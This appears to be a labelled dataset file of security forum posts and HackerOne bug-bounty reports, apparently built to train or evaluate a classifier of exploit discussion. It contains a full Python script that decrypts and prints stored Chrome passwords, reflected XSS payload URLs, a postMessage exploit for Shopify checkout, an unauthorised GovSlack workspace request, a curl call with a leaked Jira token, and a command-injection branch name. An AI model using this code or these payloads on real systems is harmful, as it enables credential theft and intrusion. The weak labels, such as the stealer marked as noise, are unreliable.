-{"id": "d63bda00761e22dbf6e6", "text": "Could you give us some additional hints how you were able to achieve it?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "af704e9345466376f28e", "text": "Hello everyone , i m having a little bit confusion here please i need help of a better understandingi m still new to malware and exploit development , i created a python script for Extract Chrome Passwords in python the first i created the script it works fine the code are right no errors and the result was printed on the screen and it okay , but the problem is that the next day i came in to run a test on the same script yes it works fine and they were no errors on my code but the problem is that the result was not printed the screen again i tried and tried but the script only execute but didn’t print result on the screen this got me really confuse i have been dealing with for days now i cant seen to fix or know the problem please help me out .this is my code …import osimport jsonimport base64import sqlite3import win32cryptfrom Crypto.Cipher import AESimport shutilfrom datetime import timezone, datetime, timedeltadef get_chrome_datetime(chromedate):return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)def get_encryption_key():local_state_path = os.path.join(os.environ[USERPROFILE],                                AppData, Local, Google, Chrome,                                User Data, Local State)                               with open(local_state_path, r, encoding=utf-8) as f:    local_state = f.read()    local_state = json.loads(local_state)key = base64.b64decode(local_state[os_crypt][encrypted_key])key = key[5:]return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]def decrypt_password(password, key):try:     iv = password[3:15]    password = password[15:]     cipher = AES.new(key, AES.MODE_GCM, iv)    return cipher.decrypt(password)[:-16].decode()except:    try:        return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])    except:                 return def main():key = get_encryption_key() db_path = os.path.join(os.environ[USERPROFILE], AppData, Local,                        Google, Chrome, User Data, default, Login Data)filename = ChromeData.dbshutil.copyfile(db_path, filename)# connect to the databasedb = sqlite3.connect(filename)cursor = db.cursor()# `logins` table has the data we needcursor.execute(select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created)# iterate over all rowsfor row in cursor.fetchall():    origin_url = row[0]    action_url = row[1]    username = row[2]    password = decrypt_password(row[3], key)    date_created = row[4]    date_last_used = row[5]            if username or password:        print(fOrigin URL: {origin_url})        print(fAction URL: {action_url})        print(fUsername: {username})        print(fPassword: {password})    else:        continue    if date_created != 86400000000 and date_created:        print(fCreation date: {str(get_chrome_datetime(date_created))})    if date_last_used != 86400000000 and date_last_used:        print(fLast Used: {str(get_chrome_datetime(date_last_used))})    print(=*50)cursor.close()db.close()try:    # try to remove the copied db file    os.remove(filename)except:    pass", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-05-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a5577ab398f29c3d0866", "text": "[Unknown] Yet another SSRF query for Go\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5ca3dae9da01aa8cbd71", "text": "[Unknown] Authentication bypass on JetPack SSO manager - Allows to access the administration panel of wordpress without user interaction\n\nHello team,\n\n## Summary:\nThe JetPack SSO manager is plugin that allows any user to log into their wordpress using the same log-in credentials you use for WordPress.com, then they’ll now be able to register for and sign in to self-hosted WordPress.org sites quickly, example :\n\nUser creates their wordpress instance at host.com, they install and enable  JetPack SSO\nThey later can login into their wordpress instance at host.com using wordpress.com, users are also can make other users register/login with the same company email (@host.com) and access the administration panel of the host\n\n\n## Description :\nThe user anyways when he tries to authenticate into his wordpress instance via wordpress.com he gotta have his email confirmed, otherwise it won't work, interstingly there is a way that bypasses the email confirmation when a user invites you to his account and you accept his invite your account will be confirmed, chaining those issues the following scenario can result for the authentication bypass of any wordpress  instance when these circumestances are met :\n\n* wordpress installed on host.com have jetpack installed and \"Match accounts using email addresses\" enabled (IDK if this is necessary anyways) \n* wordpress instance have a user with specific email, that email does not exist on wordpress.com\n\nYou can access this host.com wordpress panel via\n\n## Steps To Reproduce:\n**Setup**\n\n  1. Install Jetpack latest version, once installed go to plugins>Jetpack>settings>\"Match accounts using email addresses\">enable (I'm not sure if this is intended or not)\n  2. Add user into your wordpress (host.com) with their email (says something@company.com)\n\n\n* **As attacker (email confirmation bypass)** :\n  1. Create two accounts at Wordpress.com \n        A/. One with your personal email and confirm it \n        B/.  Second with the victim's existed user at host.com email (something@company.com)\n\n  2. At your confirmed wordpress.com account go to settings >users invite your second account (something@company.com)\n  3. At your second account go to notifications at the top right, see the invitation and accept it \n  4. See that your Wordpress.com account’s email has been verified (email confirmation bypass )\n\n* **access the wordpress admin panel**\n  1. Now at the same browser where the (something@company.com) Wordpress.com account \n  2. go to host.com wordpress panel \n  3. Click on sign in with wordpress.com\n  4. Forward \n  5. See yourself logged in as admin on host.com wordpress\n\n## Platform(s) Affected:\nJetPack latest version\n\n\n\n\n## Supporting Material/References:\nAs example I bypass ███████ \n\n██████\n\n## Impact\n\n* Bypass authentication of websites that runs wordpress with JetPack plugin without any user inteaction\n\n\nRegards,\n\nAdam", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ece881d3aba54a6ace69", "text": "[Privacy Violation] Avatar URL is exposed in patron export for secret donations\n\nWhen user sets their donation Privacy level to \"Secret\" they are indicating that they don't want to be identified by the donation recipient.\n\nBy exporting the `patron_avatar_url`, in `https://liberapay.com/<account_name>/patrons/export.csv`, the user might be exposed just by doing a reverse image search for such avatar.\n\n## Impact\n\nI would hope that there is no gain in trying to deanonymise their donors, but including the avatar should not be needed and I hope it should be an easy fix. \n\n\nI do not wish to be compensated in any way, the reason for using HackerOne is just that I don't want to disclose the issue on Github. Thank you for your great service! :)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "73290eb7fe2697662f55", "text": "Complete Newbie/Novice - Help Required Please :)\n\nHi All, Its my 2nd day on HTB and i’ve come unstuck (already) on ‘Dancing’ - Machine 3. I’m at the stage of accessing smbclient through - $ smbclient \\\\10.129.42.109\\WorkShares - but keep getting the following in response: Password for [WORKGROUP\\htb-********: do_connect: Connection to failed (Error NT_STATUS_NOT_FOUND) P.S - I also keep getting the above message for ADMIN$ + C$. Can anyone help please. Thank you in advance!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "73748dac6fc778fe6158", "text": "[Unknown] Double evaluation in .bash_prompt of dotfiles allows a malicious repository to execute arbitrary commands\n\n## Summary\nDue to the improper usage of the `PS1` environment variable in [`.bash_prompt` of dotfiles](https://github.com/iandunn/dotfiles/blob/16a432681077362f263cb926737ad5cca5df6307/.bash_prompt), a malicious repository can execute arbitrary commands when changed the current directory to it.\n\n## Description\nThe `PS1` environment variable of bash supports command substitutions. For example, setting `PS1` to `$(echo hello)` executes `echo hello` each time the prompt is displayed.\n\nBecause [`.bash_prompt` of dotfiles](https://github.com/iandunn/dotfiles/blob/16a432681077362f263cb926737ad5cca5df6307/.bash_prompt) uses the following code to display the VCS information, if any outputs of these commands contain command substitution syntaxes, it'll be evaluated while printing the prompt.\n\n[`.bash_prompt` line 264-266](https://github.com/iandunn/dotfiles/blob/16a432681077362f263cb926737ad5cca5df6307/.bash_prompt#L264-L266)\n``` bash\n\texport PS1=\"\\n${command_mark}${color_user_host}\\u${color_reset} @ ${color_user_host}$hostname${color_reset} in ${color_folder}\\w${color_reset} \\\n\t$(vcs_prompt) \\\n\t\\n> \"\n```\n\nSince `vcs_prompt` contains the information of Git or SVN, a malicious repository with a crafted branch name can execute arbitrary commands.\n\n[`.bash_prompt` line 241-254](https://github.com/iandunn/dotfiles/blob/16a432681077362f263cb926737ad5cca5df6307/.bash_prompt#L241-L254)\n``` bash\nfunction vcs_prompt {\n\tGIT_PROMPT=$(git_status)\n\tSVN_PROMPT=$(svn_status)\n\n\tif [[ -n $GIT_PROMPT ]]; then\n\t\techo -n \"\\n$GIT_PROMPT\"\n\n\t\tif [[ -n $SVN_PROMPT ]]; then\n\t\t\techo -n \", $SVN_PROMPT\"\n\t\tfi\n\telif [[ -n $SVN_PROMPT ]]; then\n\t\techo \"\\n$SVN_PROMPT\"\n\tfi\n}\n```\n\n## Steps to reproduce\n1. Set up dotfiles. (For the minimal setup, I used {F2051541} to set up `.bash_prompt`.)\n2. Create a git repository with a crafted name: `git init -b '$(touch${IFS}/tmp/pwned)' repo`\n3. Enter the repository: `cd repo`\n4. Confirm that `touch /tmp/pwned` is executed.\n\n{F2051546}\n\n## Impact\nAn attacker can execute arbitrary commands by tricking the victim into entering a malicious directory.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "51fde1e18d020bc07197", "text": "[Cross-site Scripting (XSS) - Reflected] XSS in www.glassdoor.com\n\n**Summary:**\nBrowser: Chrome\nAffected URL https://www.glassdoor.com/Location/All-Tesla-Office-Locations-E43129.htm?DIFFICULT=%3E%3Csvg%20onload%3d%26%23x00000000061;%26%23x0000000006c%26%23x0000000065%26%23x0000000072%26%23x00000000074(1%26%230000000000000041;%20%3C%2fscript%20\n\n## Steps To Reproduce:\n  1. Go to the affected URL\n\n## Supporting Material/References:\nAttached an image ███\n\n## Impact\n\nLeaking users data and and modify the webpage.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "13c818eb5e9f8f97fe22", "text": "[Cross-site Scripting (XSS) - Reflected] Regression on dest parameter sanitization doesn't check scheme/websafe destinations\n\nHi team, I get Xss via javascript:alert() url on login page parameter dest=\n\n###Payload Url Xss : \n```javascript:alert(document.domain);```\n\n##XSS Javascript URL\n###Steps and reproduction :\n\n- Using a browser, navigate to: https://www.reddit.com/login/?dest=https%3A%2F%2Fwww.reddit.com%2F\n- Copy and modify the \"dest\" parameters so that the URL redirects to dest=javascript:alert(document.domain);\n- Send this in a new browser window and after login you will get a pop up (Xss Triggered).\n\n##Proof of Concept (PoC) :\nhttps://www.reddit.com/login/?dest=javascript:alert(document.domain);\n\n\n{F2316733}\n\n\nReference :\nhttps://brightsec.com/blog/open-redirect-vulnerabilities/\nhttps://hackerone.com/reports/1930763\n\n## Impact\n\nWhen an attacker manages to perform a redirect in JavaScript, many dangerous vulnerabilities may occur. As Open Redirects are mostly used in phishing scams, people are not aware of the fact that Open Redirects can also be part of more complex attack chains where multiple vulnerabilities are exploited. And JavaScript-based Open Redirect is a key part of that chain. For example, redirecting the user to javascript: something() ends up being a dangerous Cross-Site Scripting injection.\nand the attacker can steal the victim's cookies", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "73d3f203b2be08b7b026", "text": "Look at the conversations between IP addresses. Like one of the replies stated, at some point the user has to log in.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f18610509628486c5245", "text": "[Cross-site Scripting (XSS) - Generic] Read/Write arbitrary (non-HttpOnly) cookies on checkout pages via GoogleAnalyticsAdditionalScripts postMessage handler\n\n# Background\nShopify shops can be configured with a [Google Analytics integration](https://help.shopify.com/en/manual/reports-and-analytics/google-analytics) within the admin settings for a shop (`/admin/online_store/preferences`).\nThis is a deeper integration than simply including `analytics.js` via a liquid template, for example [ecommerce tracking](https://help.shopify.com/en/manual/reports-and-analytics/google-analytics/google-analytics-setup#basic) can be enabled.\nWithin this functionality \"Additional Google Analytics JavaScript\" can be specified which can reference the (global) `ga` object, ex:\n```js\nga('linker:autoLink', ['bored.engineer']);\n```\nDuring checkout (of a cart), an edge-case occurs: Some functionality is hosted on `checkout.shopify.com` (such as address/payment forms) that the shop owner may wish to fire Google Analytics events for.\nTo resolve this, a `postMessage` based proxy is configured where the `checkout.shopify.com` pages execute the \"Additional Google Analytics JavaScript\" and any calls to the `ga` function (really an event queue) are pushed to the primary shop domain to be fired.\n\n# Summary\nThe `postMessage` handler on the shop domain does not validate the `event.origin` before processing events.\nThis can allow a malicious webpage to send messages which eventually result in function calls on the `ga` object.\nIt is then possible to write arbitrary cookies values (via `document.cookie` injection) which can often lead to other security concerns.\nAdditionally, it is possible to register an additional (attacker controlled) GA tracker, then leverage the [linkid plugin](https://developers.google.com/analytics/devguides/collection/analyticsjs/enhanced-link-attribution) to read any cookie value.\nThis is only exploitable on shops that have a configured Google Analytics integration (not default, but common).\n\n# Vulnerability\nThe vulnerability is pretty straight-forward, exploitation is the more difficult part. \n```js\n// From checkout-b0ace6cd81eb816d383ce78462bdcd5cfc3cfef0055b9ff774fd9de732b3d9d2.js\nfunction r(e) {\n  \"analytics\" === e.data.type && (\"undefined\" == typeof n.calls && (n.calls = []),\n  n.calls = n.calls.concat(e.data.calls),\n  document.body.dispatchEvent(new CustomEvent(\"GoogleAnalyticsEvent\")))\n}\n// [snip]\nwindow.addEventListener(\"message\", r)\n// [snip]\n[{\n    key: \"executeAdditionalScripts\",\n    value: function n() {\n        var e = t.calls;\n        void 0 !== e && (e.forEach(function(e) {\n            var t;\n            (t = window).ga.apply(t, C(e))\n        }),\n        t.calls = [])\n    }\n}]\n// From checkout HTML page\ndocument.body.addEventListener(\"GoogleAnalyticsEvent\", function() {\n  window.GoogleAnalyticsAdditionalScripts.executeAdditionalScripts()\n});\n```\nThe vulnerability can be demonstrated as easily as sending an event like this:\n```js\nvar win = window.open(\"https://bored-engineering-whitehat-2.myshopify.com/20276739/checkouts/0f446f1d92e2d55bb576273ebb3fc89c\")\nsetTimeout(function() {\n  win.frames[0].postMessage({\n    \"type\": \"analytics\",\n    \"calls\": [\n      ['send', 'pageview']\n    ]\n  }, \"*\")\n}, 2000)\n```\nWhich will trigger a pageview event (in the network tab):\n{F1163231}\n\n# Google Analytics APIs\nWe now have a primitive for executing any function with any arugments on the `ga` object.\nI spent a while trying to turn this into XSS, I'm reasonably confident it is not possible.\n\n# Plugin Loading (dead-end, mostly)\nGoogle Analytics supports [plugins](https://developers.google.com/analytics/devguides/collection/analyticsjs/using-plugins) via a \"require\" command, ex:\n```js\nga('require', 'linkid');\n```\nThis also supports custom plugins via a [\"provide\" command](https://developers.google.com/analytics/devguides/collection/analyticsjs/command-queue-reference#provide):\n```js\nfunction MyPlugin(tracker, options) {\n  // ...\n}\nga('provide', 'myplugin', MyPlugin);\n```\nWhile this seems like an easy path to XSS (register [\"eval\"](https:/", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d3b25ef60734e75be9c9", "text": "[Improper Authentication - Generic] Unauthorized access to GovSlack\n\nHead to slack.com (I use firefox), login as a user that hasn't used slack, create a workspace, copy the payload as fetch.  In my case:\n\n```\nawait fetch(\"https://slack.com/api/signup.createTeam?_x_id=noversion-1667355054.372\", {\n    \"credentials\": \"include\",\n    \"headers\": {\n        \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0\",\n        \"Accept\": \"*/*\",\n        \"Accept-Language\": \"en-US,en;q=0.5\",\n        \"Content-Type\": \"multipart/form-data; boundary=---------------------------34111059701841183173198228768\",\n        \"Sec-Fetch-Dest\": \"empty\",\n        \"Sec-Fetch-Mode\": \"cors\",\n        \"Sec-Fetch-Site\": \"same-origin\"\n    },\n    \"referrer\": \"https://slack.com/get-started\",\n    \"body\": \"-----------------------------34111059701841183173198228768\\r\\nContent-Disposition: form-data; name=\\\"email_misc\\\"\\r\\n\\r\\ntrue\\r\\n-----------------------------34111059701841183173198228768\\r\\nContent-Disposition: form-data; name=\\\"tz\\\"\\r\\n\\r\\nAmerica/Los_Angeles\\r\\n-----------------------------34111059701841183173198228768\\r\\nContent-Disposition: form-data; name=\\\"locale\\\"\\r\\n\\r\\nen-US\\r\\n-----------------------------34111059701841183173198228768\\r\\nContent-Disposition: form-data; name=\\\"last_tos_acknowledged\\\"\\r\\n\\r\\ntos_mar2018\\r\\n-----------------------------34111059701841183173198228768\\r\\nContent-Disposition: form-data; name=\\\"login\\\"\\r\\n\\r\\ntrue\\r\\n-----------------------------34111059701841183173198228768\\r\\nContent-Disposition: form-data; name=\\\"in_setup_experiment\\\"\\r\\n\\r\\ntrue\\r\\n-----------------------------34111059701841183173198228768--\\r\\n\",\n    \"method\": \"POST\",\n    \"mode\": \"cors\"\n});\n```\n\nLogin to slack-gov.com, where the option to create a workspace for new users is disabled.  Send this same fetch request, replacing slack.com with slack-gov.com.  In my case, the workspace created is viomck.slack-gov.com.\n\n## Impact\n\nUnauthorized access to GovSlack.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "06e648e815d86110c58d", "text": "[Improper Access Control - Generic] Exposing Django Debug Panel and Sensitive Infrastructure Information at https://dev.fxprivaterelay.nonprod.cloudops.mozgcp.net\n\n## Summary:\nThis security report highlights the critical risks and issues associated with exposing the Django Debug Panel in a development environment available at https://dev.fxprivaterelay.nonprod.cloudops.mozgcp.net. The Django Debug Panel is a powerful tool used during application development, but enabling it in a development environment without proper access controls can lead to significant security vulnerabilities. The primary concern is the exposure of sensitive information about the infrastructure, such as the locations of Redis and PostgreSQL databases, user information, internal IP addresses and other details that can be exploited by attackers to launch potential attack vectors.\n\n## Steps To Reproduce:\nAccess the following URLs:\n- https://dev.fxprivaterelay.nonprod.cloudops.mozgcp.net//app/tmp/healthcheck.json\n- https://dev.fxprivaterelay.nonprod.cloudops.mozgcp.net/fxa-rp-events\n\nwhere you can find the full configuration exposed. The most interesting are:\n```\nADMIN_ENABLED \t\nTrue\nALLOWED_HOSTS \t\n['dev.fxprivaterelay.nonprod.cloudops.mozgcp.net',\n 'privacydev.fxprivaterelay.nonprod.cloudops.mozgcp.net']\n\nAUTHENTICATION_BACKENDS \t\n('django.contrib.auth.backends.ModelBackend',\n 'allauth.account.auth_backends.AuthenticationBackend')\nAUTH_USER_MODEL \t\n'auth.User'\nAVATAR_IMG_SRC \t\n['mozillausercontent.com', 'https://profile.stage.mozaws.net']\nAVATAR_IMG_SRC_MAP \t\n{'https://profile.accounts.firefox.com/v1': ['firefoxusercontent.com',\n                                             'https://profile.accounts.firefox.com'],\n 'https://profile.stage.mozaws.net/v1': ['mozillausercontent.com',\n                                         'https://profile.stage.mozaws.net']}\nAWS_REGION \t\n'us-east-1'\nAWS_SES_CONFIGSET \t\n'dev_fxprivaterelay_nonprod_cloudops_mozgcp_net'\nAWS_SNS_TOPIC \t\n{'arn:aws:sns:us-east-1:927034868273:fxprivaterelay-SES-processor-topic'}\nAWS_SQS_EMAIL_QUEUE_URL \t\n'██████████'\nAWS_SQS_QUEUE_URL \t\n'█████████'\nBASKET_ORIGIN \t\n'https://basket-dev.allizom.org'\nBUNDLE_PLAN_ID_US \t\n'price_1LwoSDJNcmPzuWtR6wPJZeoh'\nCACHES \t\n{'default': {'BACKEND': 'django_redis.cache.RedisCache',\n             'LOCATION': '████:19509',\n             'OPTIONS': {'CLIENT_CLASS': 'django_redis.client.DefaultClient'}}}\nCORS_ALLOWED_ORIGINS \t\n['https://vault.bitwarden.com', 'https://vault.qa.bitwarden.pw']\nDATABASES \t\n{'default': {'ATOMIC_REQUESTS': False,\n             'AUTOCOMMIT': True,\n             'CONN_HEALTH_CHECKS': False,\n             'CONN_MAX_AGE': 0,\n             'ENGINE': 'django.db.backends.postgresql',\n             'HOST': 'ec2-23-20-140-229.compute-1.amazonaws.com',\n             'NAME': 'dav509dnmoe86f',\n             'OPTIONS': {},\n             'PASSWORD': '********************',\n             'PORT': 5432,\n             'TEST': {'CHARSET': None,\n                      'COLLATION': None,\n                      'MIGRATE': True,\n                      'MIRROR': None,\n                      'NAME': None},\n             'TIME_ZONE': None,\n             'USER': 'zqhdtlumxotgdr'}}\nINSTALLED_APPS \t\n['whitenoise.runserver_nostatic',\n 'django.contrib.staticfiles',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.sites',\n 'django_filters',\n 'django_ftl.apps.DjangoFtlConfig',\n 'dockerflow.django',\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n 'allauth.socialaccount.providers.fxa',\n 'rest_framework',\n 'rest_framework.authtoken',\n 'corsheaders',\n 'waffle',\n 'privaterelay.apps.PrivateRelayConfig',\n 'api.apps.ApiConfig',\n 'drf_spectacular',\n 'drf_spectacular_sidecar',\n 'debug_toolbar',\n 'django.contrib.admin',\n 'emails.apps.EmailsConfig',\n 'phones.apps.PhonesConfig']\nINTERNAL_IPS \t\n['███████']\nLOGGING \t\n{'formatters': {'json': {'()': 'dockerflow.logging.JsonLogFormatter',\n                         'logger_name': 'fx-private-relay'}},\n 'handlers': {'console_err': {'class': 'logging.StreamHandler',\n     ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "633892e7924c50ee0dda", "text": "[Information Disclosure] Full access to InDrive jira panel via exposed API token\n\n**Description**\n\nHello!\n\nBrowsing through GitHub I found the following repository:\n\n███\n\n\nLooking for interesting keywords, the following file popped up:\n\n███████\n\n\n```\npackage ru.indriver.jira.api\n\nobject Constants {\n    const val jiraHost = \"https://indriver.atlassian.net\"\n    const val baseUrl = \"$jiraHost/rest\"\n    const val token = \"██████\"\n\n    ███\n    // const val token = \"██████==\"\n}\n```\n\n\nThe repository wasn't updated in a while, but I still decided to give it a change and try to make an API call with the auth token:\n\ncurl -i -s -k -X $'GET' \\\n    -H $'Host: indriver.atlassian.net' -H $'Cache-Control: max-age=0' -H $'Authorization: Basic ████' -H $'Content-Type: application/json' -H $'Sec-Ch-Ua: \\\"Google Chrome\\\";v=\\\"107\\\", \\\"Chromium\\\";v=\\\"107\\\", \\\"Not=A?Brand\\\";v=\\\"24\\\"' -H $'Sec-Ch-Ua-Mobile: ?0' -H $'Sec-Ch-Ua-Platform: \\\"macOS\\\"' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-User: ?1' -H $'Sec-Fetch-Dest: document' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,de;q=0.7' \\\n    -b $'atlassian.xsrf.token=450f5681-becb-48d1-a8bc-efc045d75244_08e86700250ae917acc90fead0122eca3628f5a5_lout' \\\n    $'https://indriver.atlassian.net/rest/api/2/issue/67212'\n\nSurprisingly, this was sucessfull and I was able to fetch a random issue ID, which normally I wouldn't have access to because you're instantly getting redirect to the atlassian OAuth flow if you're visiting https://indriver.atlassian.net/\n\n\n**Steps to reproduce:**\n\n\n1. Do the following cURL:\n```\ncurl -i -s -k -X $'GET' \\\n    -H $'Host: indriver.atlassian.net' -H $'Cache-Control: max-age=0' -H $'Authorization: Basic ████████' -H $'Content-Type: application/json' -H $'Sec-Ch-Ua: \\\"Google Chrome\\\";v=\\\"107\\\", \\\"Chromium\\\";v=\\\"107\\\", \\\"Not=A?Brand\\\";v=\\\"24\\\"' -H $'Sec-Ch-Ua-Mobile: ?0' -H $'Sec-Ch-Ua-Platform: \\\"macOS\\\"' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-User: ?1' -H $'Sec-Fetch-Dest: document' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,de;q=0.7' \\\n    -b $'atlassian.xsrf.token=450f5681-becb-48d1-a8bc-efc045d75244_08e86700250ae917acc90fead0122eca3628f5a5_lout' \\\n    $'https://indriver.atlassian.net/rest/api/2/issue/67212'\n```\nNotice the response:\n\n███████\n\nWe have full access to the InDrive Atlassian panel, ability to fetch sensitive information.\n\n## Impact\n\nSensitive information disclosure - full access to the Atlassian panel - projects/issues/accounts etc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "848df6f99587040b0e73", "text": "[Cross-site Scripting (XSS) - Reflected] XSS Reflected\n\n## Summary:\nHi team,\n\nIt was found a xss reflected in your web asset.\n\nReflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response.When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client.\n\n## Steps To Reproduce:\n\n  1. Access the url `https://███.aspx/%22%20onmouseover=%22prompt(1)%22%20x=%22`\n  2. See the popup in the screen\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n\n███\n\n## Impact\n\n## Impact\n* An attacker that can control the code executed in a victim browser can usually fully compromise this victim. This includes :\n* Perform any action within the application that the user can perform.\n* Modify any information that the user is able to modify.\n* Steal user cookies\n* Redirect to phishing site\n* Arbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\n* Malware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\n* Run Arbitrary javascript code into victim's browser\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Access the url `https://███████.aspx/%22%20onmouseover=%22prompt(1)%22%20x=%22`\n  2. See the popup in the screen\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0841b7138c3094ea667a", "text": "[Information Disclosure] Able to detect if a user is FetLife supporter although this user hides their support badge in fetlife.com/conversations/{id} JSON response\n\nUserA is a FetLife supporter, he also hides his support badge in his account privacy setting so that people don't know he is a supporter. However, UserB can start a conversation with userA, and by looking at `is_supporter` field in JSON response of their conversation . UserB knows that UserA is a FetLife supporter.\n\nUserB get the following information of userA by requesting `fetlife.com/conversations/{userA-userB-conversation-id}`\n```\n\"with_users\":\n[\n    {\n        \"id\": {id},\n        \"nickname\": \"userA\",\n        \"is_supporter\": true,\n        \"show_badge\": false,\n        \"identity\": \"30F Switch\",\n        \"url\": \"/users/{id}\",\n        \"avatar_url\": \"{avatar_url}\",\n        \"role\": \"member\",\n        \"starts_at\": 0,\n        \"location\": \"Antarctica\"\n    }\n]\n```\n\nFull request and response: F1541333\n\n## Attack condition\nFor this attack to succeed, attacker needs to start a conversation with victim regardless of victim accepting conversation request or not. Therefore, this attack works with users who set their Inbox privacy settings to `Open`, `Kinky`,`Hardcore`\n\n## Step to Reproduce\n1. Prepare 2 accounts, userA and userB. UserA is a FetLife supporter.\n2. UserB goes to userA profile and start a conversation with userA from there\n3. UserB goes to `https://fetlife.com/inbox`\n4. UserB open browser Developer tool and open conversation he just started.\n5. UserB looks at Network tab and find the request `fetlife.com/conversations/{userA-userB-conversation-id}` with JSON response\n6. UserB sees `is_supporter` field to check if userA is a supporter or not.\n\n## Impact\n\nAttacker can detect if a user is a FetLife supporter or not. This attack works on all users, except user with `strict` inbox privacy settings.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bdc897877ce955dfc099", "text": "I will say for the second question of the service login in the skills assesment where it asks you to find the other user and brute force their password, hydra took about 5 minutes to complete. I thought I was doing something wrong because it was taking a little while but it should work.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
